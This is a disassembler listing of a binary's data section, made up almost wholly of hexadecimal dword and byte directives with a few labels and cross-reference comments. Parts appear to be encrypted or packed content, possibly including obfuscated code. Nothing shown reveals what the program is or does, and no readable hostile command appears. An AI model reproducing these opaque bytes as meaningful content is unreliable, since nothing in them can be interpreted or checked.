		dd 74F57DEDh, 74FC7BF3h, 75FC7B78h, 75FD7ABCh, 76FD7A5Eh
		dd 75A6F95Eh, 75A6FEF0h, 75FD7ACBh, 74FC7BE4h, 74FC7BF3h
		dd 75F8B290h, 0F0701ABCh, 73501206h, 1172FFA6h,	0F0707C3Ah
		dd 735012A5h, 11B2FF6Ch, 0F0707C5Fh, 735012D5h,	1176FF35h
		dd 0F0707CF3h, 73501223h, 11AEFF1Eh, 0F0707C66h, 73501D2Eh
		dd 11AAFF7Bh, 0F0707CD4h, 73501CD5h, 11A6FFD7h,	0F0707C82h
		dd 73501CECh, 11A2FF42h, 0F0707C48h, 73501C63h,	119EFFF0h
		dd 0F0707C11h, 73501CB2h, 1192FFA6h, 0F0707C3Ah, 73501C73h
		dd 119AFF6Ch, 0F0707C5Fh, 73501CAEh, 1196FF35h,	0F0707CF3h
		dd 73501CC3h, 1192FF1Eh, 0F0707C66h, 73501DC3h,	1182FF7Bh
		dd 0F0707CD4h, 73501DF9h, 117EFFD7h, 0F0707C82h, 73501DFFh
		dd 117AFF42h, 0F0707C48h, 73501D43h, 118EFFF0h,	0F0707C11h
		dd 73501DB6h, 118AFFA6h, 0F0707C3Ah, 73501248h,	1186FF6Ch
		dd 0F0767C5Fh, 735B778Ch, 1135FF35h, 0F0767CF3h, 735B634Eh
		dd 1131FF1Eh, 0B69C7C66h, 9D11F1B0h, 75FD7AF2h,	0A917FB23h
		dd 25FBD7D9h, 0FDF53FD5h, 0D899BDADh, 0B7342291h, 23AC7ACFh
		dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 73501F41h, 11B3FFA0h
		dd 0C87D7C82h, 73501ED9h, 0C5B409CFh, 0B54B75E4h, 3589BAF9h
		dd 1131EF86h, 0FEBD7C11h, 7A452B96h, 8AFD7A2Fh,	0D899B602h
		dd 3A48F7CDh, 0F8FBD781h, 9D50FCC6h, 75FD7E4Bh,	76456FCFh
		dd 8AFD7A5Eh, 0D899B6BAh, 3A48F791h, 0F8FBD7AFh, 8A50FCD1h
		dd 0BC1F2322h, 11B3F787h, 2DA07C11h, 2CA32005h,	776D92ECh
		dd 0CD4D7A97h, 8A5779C1h, 0D899B270h, 9D3ED1F4h, 75FD7807h
		dd 0CD9BC2DAh, 0DE9B5954h, 1135EFD0h, 0DE9B7C3Ah, 77959208h
		dd 360B7AE5h, 6E8872F3h, 1135EF86h, 0C54D7C11h,	8AAD7954h
		dd 0D899B2BAh, 0F69B2091h, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah
		dd 4E152979h, 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h
		dd 0FE4DBA07h, 9D3ED183h, 75FD7B00h, 77E1922Ah,	4EA77ABCh
		dd 0C5120E84h, 0A916D049h, 75FCA77Fh, 74BE8CCBh, 26D30FEDh
		dd 75FF7B1Ah, 360B2079h, 548872BDh, 6889A065h, 913D59A5h
		dd 0F5DF7094h, 0FF4DBA07h, 0BD6885B5h, 2FFBD796h, 51FD5F1Fh
		dd 133F71DAh, 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h
		dd 2D157AE5h, 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh
		dd 75FC5BC7h, 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah
		dd 9D561C79h, 75FD7BB6h, 0B657E7EEh, 9D57E69Fh,	75FD7A69h
		dd 75FCF323h, 74BE8CE5h, 0C5F20FFAh, 6515D0F9h,	0DFFD7ABCh
		dd 7DF99EDEh, 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h
		dd 1131EF0Dh, 0C0707CD4h, 73501E2Fh, 7F518A5Dh,	0E002D02Ch
		dd 73501E5Fh, 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh
		dd 75FC4354h, 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h,	8BE19261h
		dd 0CD9B851Ah, 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh
		dd 2257929Fh, 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah
		dd 8A008B91h, 75059243h, 2D4D7A5Eh, 0B6577925h,	11B8FF69h
		dd 0C87D7C66h, 73501EA0h, 0F8EC0FF3h, 0D899CDFCh, 61152ABAh
		dd 9DFD7A5Ch, 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh
		dd 0DF9CCA0Dh, 11B8F787h, 0C87D7C11h, 73501E1Bh, 0F8F10F2Fh
		dd 0D899CD12h, 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah, 0B9688579h
		dd 0F8FBD7D8h, 0D8946EC3h, 6DF9F029h, 9C4DB93Dh, 9D562D61h
		dd 75FD7A8Eh, 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 0D899B2CBh
		dd 514ACE29h, 0C1FF0E96h, 13F2CA74h, 75C9924Eh,	9DAE7AF2h
		dd 75FD7A27h, 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 1135EF68h
		dd 917D7C66h, 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h
		dd 0B7D6BDD5h, 0FCF992ACh, 7345B995h, 8AFD7ACBh, 0D899B670h
		dd 0DE60F7F4h, 0F8FBD71Dh, 0CD3E39A0h, 75FD7A4Eh, 1131EFD0h
		dd 0B57E7C3Ah, 8935F1CEh, 1135EF1Ah, 97577C5Fh,	0BE15B98Eh
		dd 0FF028543h, 72D97B1Dh, 76778E5Ah, 75FC6C7Fh,	0B61608CBh
		dd 8908831Dh, 0F611F1A7h, 9D9D86BDh, 75FD7ABCh,	5117FB04h
		dd 0FCFBD746h, 0CF7D86EAh, 73501E0Ch, 0EC7975E5h, 0CDFD7AF2h
		dd 75FD7A73h, 1131E843h, 0FCBD7CF3h, 0D899AAADh, 0F835F191h
		dd 0D8948279h, 0BD6F85E3h, 0FDFBD796h, 801F3C7Fh, 75FD6D04h
		dd 0A57F795Eh, 35FBD74Bh, 1C11E01Ah, 0B67E7C66h, 22FEF3E1h
		dd 75FD644Bh, 0A5777979h, 0F8FBD7D8h, 0D894A0ECh, 2B598929h
		dd 75FD722Fh, 0B96F85CBh, 0F6FBD781h, 85897E0Ah, 72447C71h
		dd 7DFD7ABCh, 0C3F24B5Ah, 761EBBF7h, 75FD742Eh,	44E172CBh
		dd 75FD765Ch, 44F972F2h, 75FD61C0h, 44F972BCh, 75FD66E7h
		dd 44F9722Fh, 8A015B7Fh, 8980F334h, 8980F184h, 9DADB93Bh
		dd 75FD7A7Fh, 1102229Ch, 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h
		dd 67C92CB3h, 0B6AD3A78h, 75FD7AF2h, 75FD7A79h,	0FEA87ABCh
		dd 75151AB2h, 2FFD7A2Fh, 1FF69016h, 0CF707C66h,	73501E31h
		dd 0CCF50F79h, 75FD7A71h, 0BC9CDE4Fh, 26FD7E9Ch, 1129E7A2h
		dd 497D7C3Ah, 71887BD3h, 771683BEh, 203E82A9h, 9D9D96F2h
		dd 75FD7ABCh, 3117FB04h, 0F8FBD745h, 0D899AE25h, 7D80F1CDh
		dd 75FD725Ch, 145989F2h, 75F9B8B0h, 0A140F7DCh,	46FBD73Ah
		dd 75F5C3EFh, 0DF0E7A97h, 0F89DB9AAh, 0D899AE58h, 74C2FBF4h
		dd 0FC7B78h, 7182FBB0h,	74FC7B5Fh, 9E04795Ah, 0B69C8296h
		dd 0A140F7ABh, 0CDFBD781h, 75FD7AF3h, 75FD72C0h, 145789BCh
		dd 0FE3DF19Dh, 9478F7EFh, 8AFBD7F3h, 0FECA8BD0h, 0DB7BFCAh
		dd 493C3CA8h, 0DB4FA8Ah, 0EAD5ABA8h, 0DB55275h,	493D3AA8h
		dd 0AE5DBA8Ah, 493D9757h, 0DBA428Ah, 0EAD5ABA8h, 0DBA1575h
		dd 4932C5A8h, 0DBA978Ah, 493347A8h, 0DBB098Ah, 0EAD5ABA8h
		dd 0D42F2575h, 13873F76h, 3B17C003h, 90A75205h,	570F29C6h
		dd 7F93D121h, 0D42F4327h, 1387380Bh, 3B1FC003h,	90A75205h
		dd 570F2971h, 7FEFD121h, 0D42F4327h, 138739FAh,	3B6BC003h
		dd 90A75205h, 570F282Dh, 7FFBD121h, 0D42F4327h,	13873943h
		dd 3B77C003h, 90A75205h, 570F2BBEh, 7FF7D121h, 0D42F4327h
		dd 13873ADDh, 3B43C003h, 90A75205h, 570F2B3Ch, 7FCFD121h
		dd 0D42F4327h, 13873A5Fh, 3B4BC003h, 90A75205h,	570F2ABAh
		dd 7FC7D121h, 0B8C34327h, 152A5012h, 0D24ECEDFh, 0FD4AA86Ch
		dd 51A2458Ah, 8DC0D5F2h, 96A4E8E1h, 152AA8EDh, 2429458Ah
		dd 96E367A0h, 0D5ADBAB4h, 152A54A1h, 5564C6CBh,	0EAD5BA41h
		dd 0AE63CE75h, 0B333353Ah, 5342848Ch, 0EA2211ABh, 245D55FFh
		dd 9C3AABA4h, 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h, 0E9EED744h
		dd 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0AD6C54A8h, 51A24162h
		dd 0BFEA6603h, 0DB2FEE27h, 1387315Ah, 1129475h,	0E7A0D902h
		dd 0AEA4E8EFh, 51A1EC79h, 0DC0941AEh, 0B84FA622h, 3773BA8Ch
		dd 732ADF10h, 0A328C821h, 0EA2CF9CDh, 152BFD5Bh, 9881508Ch
		dd 0FCC7B700h, 0A5FBABAEh, 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh
		dd 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 4DC0D5F2h
		dd 0DAA4E8E6h, 68A15CDDh, 0ADE78286h, 152A54A8h, 0A430BACCh
		dd 9E2CF2A5h, 0FC69CE52h, 0A5B99783h, 0FA31EFE2h, 0E7A0D9F9h
		dd 0AEA4E8EFh, 949A0D79h, 551A2320h, 8481328Ch,	5DDF6E21h
		dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 15C23454h
		dd 0BA2458Ah, 7985BE29h, 24294327h, 1957DFA0h, 515E004Dh
		dd 532A54A8h, 5C57D775h, 0CDA1520Eh, 0FC69CE19h, 0A5B9979Bh
		dd 0FA31EFE2h, 0E7A0D9F9h, 0AEA4E8EFh, 949A0D79h, 651A2320h
		dd 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah
		dd 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh, 0FDA2458Ah
		dd 1DC9953Bh, 919197B9h, 38F2DE04h, 51A2454Ah, 1AD5A828h
		dd 51A25E0Eh, 1523EDA8h, 0A055458Ah, 9025862Dh,	51A24586h
		dd 7332A328h, 37AA8E4Bh, 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h
		dd 936BB9CFh, 9E7F54A0h, 0AD66C666h, 1D5FDFC8h,	96AE3801h
		dd 152AA8EDh, 0C20E458Ah, 2622B769h, 0FD627658h, 0D5078C22h
		dd 0D1A2458Ah, 9125AB54h, 51A24593h, 152A5D11h,	0D453B28Ah
		dd 1FAF5B7Ah, 0E0A2458Ah, 93E25610h, 9191EF4Bh,	19577F03h
		dd 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h,	24292576h
		dd 1957DFA0h, 515E004Dh, 0B92A54A8h, 0B2229D00h, 85E1D4A7h
		dd 0DC088600h, 0B84FA622h, 0E173BA8Ch, 9FA7FEF8h, 570F2078h
		dd 0D6A08557h, 5DDF6E20h, 74D62921h, 985E0001h,	402A5C6Ah
		dd 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh, 0E9A2458Ah
		dd 152A54AFh, 48C3D775h, 4526520Eh, 0A328C820h,	0EA2CF9CDh
		dd 0FB2BF55Bh, 3186949Bh, 59622E85h, 0A58050ACh, 2C89EFAEh
		dd 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 9E4AA86Ch
		dd 2C294DFFh, 0E96F93A4h, 51A2458Ah, 87D5FE04h,	5704487Fh
		dd 17868C23h, 0DB2FEF49h, 1387315Ah, 0E9C49475h, 0BE4CBD28h
		dd 7A088600h, 68A358D5h, 14292476h, 1DE89D54h, 0BD29108Ah
		dd 75D6902Bh, 0DAAA3001h, 50ED58D5h, 51A24576h,	0EA80F8A8h
		dd 0F7AFB018h, 0B9E2DFAEh, 0DC088558h, 0B84FA632h, 3771BA8Ch
		dd 73E39410h, 0FB63CF21h, 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh
		dd 0DAF74582h, 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh
		dd 0BF8654A8h, 5C57D775h, 0DDA1520Eh, 0FB637726h, 70D8CE25h
		dd 825D4327h, 0E4AAECCEh, 9028EEECh, 19577F02h,	305E3803h
		dd 0DCD61123h, 4A24D48h, 0D1A9B823h, 24292576h,	1957DFA0h
		dd 515E004Dh, 732A54A8h, 376B7732h, 0E7B0D903h,	0AEA4E8EFh
		dd 9592327Bh, 0FD09234Bh, 6801FE04h, 0ADDFCC86h, 0E96FDFC9h
		dd 51AA8743h, 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh,	0ADE78286h
		dd 152A54A8h, 0B824FDECh, 8FA7FFCEh, 570F2078h,	0A09A8757h
		dd 0FB0E0320h, 70D8CE25h, 825D4327h, 0D8ACECCEh, 2C89EEECh
		dd 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch
		dd 51A2458Ah, 95C0D5F2h, 96A4E8E5h, 152AA8EDh, 2429458Ah
		dd 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch
		dd 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah
		dd 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h
		dd 59D7BA86h, 7F9FCE25h, 0DCF14327h, 0B841D832h, 0D871BA8Ch
		dd 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 9438C882h,	462CF9C2h
		dd 3A2EDF07h, 0C6D55205h, 0B85E0003h, 152A5492h, 0AEAE3075h
		dd 8FA75CDDh, 570F2F5Bh, 99B0D9FBh, 0AEA4E8E1h,	0E96FDD7Bh
		dd 51A25863h, 195FABA8h, 0DCAA3075h, 0B8408932h, 0CB2F168Ch
		dd 13873F24h, 142B9675h, 152ABD54h, 0DAC3458Ah,	0D7E3A8EDh
		dd 44BA4582h, 8D000030h, 0A606F59Dh, 1434B806h,	85890000h
		dd 6A606E1h, 0E8h, 0D055800h, 89000000h, 1434E903h, 50Dh dup(0)
		dd 15E90000h, 7E000000h, 2D04DEh, 4 dup(0)
		dd 55FE9h, 27CD9A00h, 51BBA3EAh, 826879C4h, 0B6580837h
		dd 0E630DC7Bh, 32BD10ABh, 0C24DD80Eh, 95B00DE3h, 0A6E13CEAh
		dd 53D36E84h, 6DF96ACDh, 0BCEF3361h, 6D875BE6h,	6C86A403h
		dd 12B3C13Dh, 0BAFC22D2h, 0F7EF0127h, 283AD468h, 922FF99Bh
		dd 2C5DB7ABh, 4D2BC1E1h, 5B29C7E6h, 69835BEAh, 6E80A00Fh
		dd 1CB1C33Fh, 588AF8A0h, 4BD5608Ah, 2FA061BBh, 0E371521Fh
		dd 2A67B15Ch, 0F7964063h, 0C6678958h, 1637D98Fh, 9051D4FFh
		dd 0E3DFC37Ah, 748E0ABAh, 354F4BF5h, 9F2AFCE7h,	1E58B2B0h
		dd 135DB3B1h, 0CC9C0BB8h, 0AFA51D35h, 9CB3DB7Eh, 89AB35CCh
		dd 0C919835Bh, 0C8A4A6AEh, 0D36E7E91h, 520BE731h, 11C331FDh
		dd 1F83BA50h, 26ACB423h, 0CCFA1CB5h, 0E4FB0235h, 736F530Ah
		dd 47C331E1h, 0F0FEB7ACh, 5CB2B11Eh, 0C8A3B12Dh, 73h, 6D875B4Ah
		dd 6F85A403h, 98BD8A57h, 94EEDA6Dh, 0F8739231h,	0F9A135CCh
		dd 0B5D40F8Bh, 0AE66F0FEh, 2E27AEEh, 5359FE45h,	0B675BC1Fh
		dd 6EF88DAh, 81000000h,	6CE60CDAh, 69835BD4h, 23C99D30h
		dd 0A815CB7Ah, 0B62851BBh, 416CA3DAh, 11FE3B93h, 0D5C1C9CBh
		dd 0A44A19B4h, 769C4A85h, 35FDEBD7h, 0B8605EDFh, 24CE984Ah
		dd 56BCAEE9h, 52BCA308h, 5B354100h, 0C02A3CB9h,	0BD3BB5D4h
		dd 0CCE9E91Ah, 9050FF35h, 0E7D3CF7Eh, 0EA00266Dh, 0A2D0D2B3h
		dd 0F9A4C70h, 0BBCC2200h, 0B45A0A26h, 0D4392995h, 0FBA29EB2h
		dd 0F37D9754h, 0CF7EA854h, 982C81D3h, 0FB26A2D0h, 0DAF0FE31h
		dd 7Dh,	9FCA7A8Ah, 0CFCC99C6h, 271FD2F5h, 4DBFB96h, 534FB3EAh
		dd 0B95B4101h, 0D7C32D3Ch, 9EC63EB6h, 359B920Fh, 13D07FF5h
		dd 545C40F9h, 16C0EC3Eh, 1590BC9Bh, 148EBF55h, 1ECE0138h
		dd 0B37F49F0h, 2742B241h, 0A13D05E0h, 0DD8C6644h, 867FF5E1h
		dd 0F0FED81Bh, 403Ah, 0B95BF800h, 0EC973E6Fh, 0CC84033Ah
		dd 0E97C9546h, 886235CCh, 2FDC36FAh, 0E3F46DD7h, 0A2B015D6h
		dd 68A5731Dh, 0EDD7ADEh, 392D92E0h, 0FF17AAD3h,	2F35CCE9h
		dd 5E75F103h, 1DF0FEA4h, 1, 6C865B85h, 3ED0923Dh, 6EAD54E7h
		dd 0EE88643Dh, 0DD8C6241h, 6E84A6E1h, 931FB114h, 44AEB361h
		dd 31CC09C9h, 8B55A937h, 0CFA9DDD2h, 1CA6196Bh,	133EB22Dh
		dd 5908B5B4h, 2A89DBB7h, 3915FFE3h, 0F71DCD00h,	25CF93BAh
		dd 0C1AEC504h, 2EE4336Bh, 9D2406D4h, 0C80726CCh, 684AF325h
		dd 0A35807Ch, 448BB258h, 45E28C66h, 0EDD18866h,	0CF9F3697h
		dd 26C90425h, 0C6C849F0h, 0C2CC4DCCh, 0D84062B0h, 0AA55F624h
		dd 98B3FA59h, 336B356Bh, 0CFA9857Dh, 357D9641h,	7763336Bh
		dd 14CFA4FDh, 53F65978h, 156h, 6B8A7ADFh, 0A8DE61CCh, 0AF61690h
		dd 706C6B64h, 22DB1AE2h, 0B5EB9344h, 7F33EB2h, 0A33B2F66h
		dd 6A899B08h, 39158D33h, 6B81A1ECh, 25CF9332h, 24CE9C3Bh
		dd 0E468744Ch, 9FD54F3Fh, 2F65292Eh, 0C6E956DCh, 0C6756910h
		dd 336ADAADh, 860D47B3h, 0BB204EA4h, 7C354F99h,	58976C87h
		dd 4F71DEF6h, 64FEE099h, 570Bh,	0E8FE6500h, 0ED675B02h
		dd 71E71C55h, 0CE8B9C4Eh, 7153234Dh, 0B9A9E485h, 0ED8B6753h
		dd 0D0896746h, 6C82A1EEh, 2DB3C13Dh, 0CC93798Ah, 0CA736FB5h
		dd 0CC931AB7h, 82F032B5h, 3F39DC17h, 0CC93179Ch, 7615935h
		dd 8B1EC50Fh, 582A6D40h, 8CB01F19h, 9792085Ah, 0F6000000h
		dd 3A24E11Ch, 0BB6D17BCh, 0C3D016A9h, 8B73EB2h,	0CA3B15Bh
		dd 8A58F796h, 786AD560h, 0ED4ED492h, 336AF344h,	0D780567Ah
		dd 0A8C469FBh, 97B66003h, 0D8816B78h, 0C7780AE6h, 336AF0ADh
		dd 3657BDA9h, 7A23F59Fh, 5ADB29E5h, 9547BD75h, 7AE23FD5h
		dd 8E69C28Ah, 364C5DA4h, 68F60FCEh, 1D5B0DCFh, 48F1E938h
		dd 1ABD2505h, 389F52E9h, 761703FFh, 0B8E10BDFh,	8DBC6A15h
		dd 7CFD1713h, 29BCD6D2h, 0A41751ACh, 33E8D6A0h,	0B5125CB6h
		dd 0B0225BB1h, 2B39D397h, 0E11CDC16h, 0CD9D3A24h, 0C69C0627h
		dd 6DFDFF58h, 1F93EBBh,	0AD353558h, 616D990Ah, 27138F33h
		dd 62582EAh, 374DB1E8h,	930DA88h, 1ABA3ACAh, 0B3C1E947h
		dd 1EAB4161h, 57BDA916h, 9B6CC36h, 2CC6E059h, 2B58F37Dh
		dd 3D079A31h, 4CFDE9C5h, 9CCD2301h, 885AA870h, 893630DAh
		dd 0C50831E7h, 625C0DDBh, 9AA5FC76h, 0C84422C8h, 0BEBC73D4h
		dd 9BCB676h, 3EFh, 821EB300h, 3168825Bh, 726CC9Eh, 4AF325C8h
		dd 93CA243Bh, 0E786507Ch, 2B5284A8h, 732AC4E4h,	44E50FDCh
		dd 96B75D09h, 0E08950A4h, 405h,	4E88300h, 5C240487h, 68241C89h
		dd 1254h, 83243C89h, 148904ECh,	0B4685024h, 586D6F27h
		dd 5E0C148h, 5E35D0F7h,	5054B68Dh, 8B54585Fh, 0C4812414h
		dd 4, 8B951h, 0E9810000h, 23FD2437h, 0C181D101h, 23FD2437h
		dd 0FF593989h, 815A2434h, 4C4h,	243C8B00h, 81E18951h, 4C1h
		dd 4C18100h, 87000000h,	0E95C240Ch, 0FFF8F397h,	7CBCDA8Eh
		dd 6E960616h, 0BA91287Eh, 0AD8999B8h, 0FFC50306h, 3BBB7CE0h
		dd 21795440h, 0E1B30608h, 783FB402h, 21AA7F5Eh,	31D18725h
		dd 8559373Bh, 4A720C67h, 0D1F22F21h, 552A4C4Fh,	9AB32E15h
		dd 0FF7F7C35h, 8E456820h, 9AB7C631h, 0F7955E19h, 0F5970473h
		dd 14CE0B2Ch, 55384208h, 250DB21Eh, 2CB8B777h, 1D609E27h
		dd 0B1E21Bh, 43D64948h,	0FC4C3805h, 1AB95879h, 0DEADEC37h
		dd 0A35A2725h, 0CDEFA16Eh, 2CE9952Fh, 12E873h, 0E55F0000h
		dd 5063E46Fh, 0FAE62BCCh, 0C8302468h, 0E699DB41h, 5A5FFC53h
		dd 5B6DC281h, 0C92B0000h, 348BF98Bh, 81DA8A0Ah,	9D0DBEC6h
		dd 0FE85Ah, 924D0000h, 2B65FAF5h, 0E3C84279h, 0D8E835CAh
		dd 800FEFh, 58000000h, 64D7F681h, 0FE8B43E0h, 0B1EFC681h
		dd 8E0F33CAh, 8, 666EB060h, 61D152BEh, 6820F56h, 81000000h
		dd 333E3CF0h, 0A048F4Ch, 0FD98B66h, 585h, 0CF29BF00h, 0E9835C97h
		dd 69EF8102h, 4968190Ah, 81C68A49h, 0FFA540F9h,	87850FFFh
		dd 0E8FFFFFFh, 12h, 0BA075A08h,	0A4440887h, 590BB18Fh
		dd 0F529C55Dh, 0E85B91CFh, 0Ah,	6E20D09Eh, 5C206EA0h, 8E9E547h
		dd 0E9000000h, 0F03C6F4Dh, 5B425C6Dh, 2D317EBEh, 6CC3814Dh
		dd 66000069h, 21A9D681h, 68h, 0CE900h, 3F0C0000h, 88482A76h
		dd 0A956E02Eh, 0F591DB1h, 3C8BC7BFh, 1F71BA0Bh,	0C78175BDh
		dd 193B0164h, 0F781C18Bh, 339631D4h, 0C781C6B6h, 143C0D38h
		dd 0E857F08Bh, 0Fh, 0EA3A5E44h,	6063B42Ah, 0F0DF04A2h
		dd 0BE1EB576h, 31E5A21Bh, 0B048F58h, 12820Fh, 0AE80000h
		dd 8D000000h, 0D7DDE07Bh, 0EA48AC84h, 5A616050h, 0E98171B6h
		dd 68CE8782h, 0C18199B2h, 68CE877Eh, 7CF981F9h,	0FFFFF97h
		dd 1685h, 32E900h, 5F930000h, 1C5958FBh, 0EFE955E6h, 23512A09h
		dd 0E8E0BA56h, 0Ch, 36F8A49Fh, 0FBEFAB85h, 34551348h, 0E95806B2h
		dd 0FFFFFF5Eh, 0E12989EAh, 0B8B6C4E8h, 8E8h, 8CEE3600h
		dd 0B4575B46h, 5850F9Eh, 0BE000000h, 1297A6B1h,	0F4E38159h
		dd 81325565h, 0D83BC1h,	11E96000h, 3A000000h, 3B6CB6C0h
		dd 0D3491FD9h, 0A4EEDEB2h, 0E6C86F19h, 61DABF0Fh, 35E6BFh
		dd 3850F00h, 0F000000h,	31FFD6B7h, 0F858F38Bh, 1298E881h
		dd 0DA8B6831h, 0B1B0F081h, 0EE813834h, 5AD1BBF9h, 87CEF081h
		dd 666068A4h, 0F3755BFh, 38Dh
		dd 97DD8000h, 8B665061h, 81018FF7h, 2EE11DE9h, 2C35BE68h
		dd 0C18139BEh, 682EE119h, 0BF0F6053h, 0FE8B66DFh, 0EF835E61h
		dd 0A7850F01h, 60FFFFFFh, 61C38B66h, 7E9h, 0F08D8100h
		dd 6Eh,	553E9h,	678D5A00h, 917B632Ah, 0C2283904h, 0F618C877h
		dd 26F09CBBh, 0F2FD50EBh, 828D18CEh, 55F04DA3h,	66217CAAh
		dd 1313AE44h, 64B92A8Dh, 7CAF3361h, 69875B26h, 10BD6453h
		dd 0E4AE0666h, 370F3DE2h, 0D016F5Bh, 51FAA4F4h,	9A3D3B6Ch
		dd 35CCFE69h, 5CF1837Fh, 9FD90F31h, 41DA3030h, 18002FF3h
		dd 0D56CE6D2h, 0E2C1786Ah, 75615D0Ch, 10A9B9D4h, 9DCCB852h
		dd 22CD7472h, 7D6955F4h, 4FA581CCh, 1ACCF71Eh, 0D220E263h
		dd 71FF6553h, 0CC2BADC6h, 0D47B335h, 6D7DAFE5h,	0A4220A87h
		dd 0CC2B9E33h, 582A8035h, 501EC8EBh, 6C1DF7EBh,	0E6A1E072h
		dd 0B3432DFBh, 149CC13h, 0B4196B47h, 27F19338h,	79C69C06h
		dd 2ADA846Ah, 9B967CBAh, 6EDF9543h, 7AA8DA26h, 28348157h
		dd 0E29809A2h, 148E35CCh, 1BF1F15Eh, 6FCBF65Dh,	0CCE2A7CCh
		dd 65514935h, 2588DAC4h, 0CCE548E6h, 7E949E35h,	0FEA8DFFAh
		dd 749EF0h, 5B040000h, 0A4036D87h, 0B4196B85h, 0CCE9FE15h
		dd 0C062C35h, 0FEA45188h, 0D15FE5F0h, 0CCE5CD66h, 54E7D335h
		dd 35CCE53Fh, 0E28EC921h, 0DBA91534h, 1A0h, 835B6200h
		dd 40BC3069h, 5ECE2A92h, 973C3649h, 0E6426ED7h,	0CCE5DC75h
		dd 0FCE8C235h, 36365900h, 733FA1D8h, 0C374F201h, 35CCE5AEh
		dd 0BB085AB0h, 70FC49A3h, 0E52041EAh, 0DC3635CCh, 0C3293986h
		dd 0B95B3C76h, 0C00D016Fh, 0BD0CD645h, 0E3DF3137h, 0D5913C91h
		dd 0F5947E6Ch, 0EF6C1D09h, 6103D123h, 0B6096BB3h, 0BD2158B6h
		dd 4F9415C5h, 83AE1553h, 0FB421F55h, 0C4630DE7h, 6D5108E2h
		dd 4A1FB617h, 32FF9A0h,	0D62E75F1h, 732DF0FEh, 95000000h
		dd 0E00EDD7Ah, 0D5032D92h, 0D53F2C8Bh, 19C62E9Fh, 6884A54Bh
		dd 0CCE9A2CFh, 625EB435h, 97ED3B25h, 0A8D13B28h, 0C4166C34h
		dd 94B30ED8h, 0C00F3EE8h, 495F0EE0h, 4CD753A1h,	8BF0FEAAh
		dd 69h,	6FB95B37h, 5D09B63Eh, 6B16BDB7h, 3915C3EEh, 0F01ECD00h
		dd 0B8200649h, 0CCE9F21Fh, 120EE435h, 0EA04246Bh, 49514FB3h
		dd 0DDD5BA3Bh, 9D4B75A7h, 0DD7AF600h, 0D07BE533h, 35CCE9B3h
		dd 88374DA5h, 0DB1534DEh, 3010692Bh, 3DA1D832h,	3C85145h
		dd 67A0CE71h, 0AC7635CCh, 2A37D256h, 676F0FEh, 0EE000000h
		dd 0FB895F41h, 3F865BA7h, 279BC214h, 0EFF3124Bh, 0E0286405h
		dd 0DA634092h, 5A44E50Bh, 0B233D36Eh, 18BA1D5Bh, 2E3EB2D7h
		dd 0C7FC15C6h, 8E2336Ah, 226D1Ch, 0F2F05FEAh, 25A65E18h
		dd 0B35D0CDDh, 0DAFECFC3h, 5B47E60Ch, 3CB0156Fh, 0C86D98C0h
		dd 0A8BAADB2h, 6AAFF817h, 86FCB633h, 217C9654h,	0EEFD4466h
		dd 0DA751400h, 85A9E608h, 13F2215Fh, 0D010627h,	8F5F04F7h
		dd 4AAF8D65h, 0C6954CA1h, 0CD23078Ch, 14084166h, 620CF803h
		dd 0EFD3F192h, 2562EFF0h, 0DD94EE04h, 587E8D24h, 18B339F6h
		dd 336A0FEBh, 144F05FDh, 0FAh, 24E11C9Eh, 0FEE5913Ah, 19F13EB2h
		db 60h
byte_5C3A41	db 2Dh,	3Dh		; DATA XREF: ___:off_437FB8o
byte_5C3A43	db 84h			; DATA XREF: ___:off_43A0E8o
dword_5C3A44	dd 0A0124BA5h, 0CDE79B4h, 5A0847E6h, 0FE69AAB4h, 0F7E38931h
					; DATA XREF: ___:off_43A0E0o
		dd 0EE4C269h, 0BC11635Fh
		db 0DFh, 0D3h, 0A1h
		db 73h
		dd 5B08856Fh, 0F658E9A0h, 50BEAD0Ah, 0C4BFB529h, 3Eh, 22E71C4Eh
		dd 8730BE44h, 35CCE96Ah, 4BCC867Ch, 0B5CCE946h,	488BB228h
		dd 0B5CCE9DBh, 50C53FF3h, 47F07E9Bh, 35CCE94Ah,	0D6BA61Ch
		dd 0E9BFD487h, 49A135CCh, 0BFB5630Eh, 7939h, 0E11C6100h
		dd 0F39D3A24h, 16C12F25h, 3EB2C3D0h, 0C35B08B7h, 6AF3FB68h
		dd 19F5ED33h, 4FE47E60h, 0C79B2A53h, 0F357FC5Fh, 1359336Ah
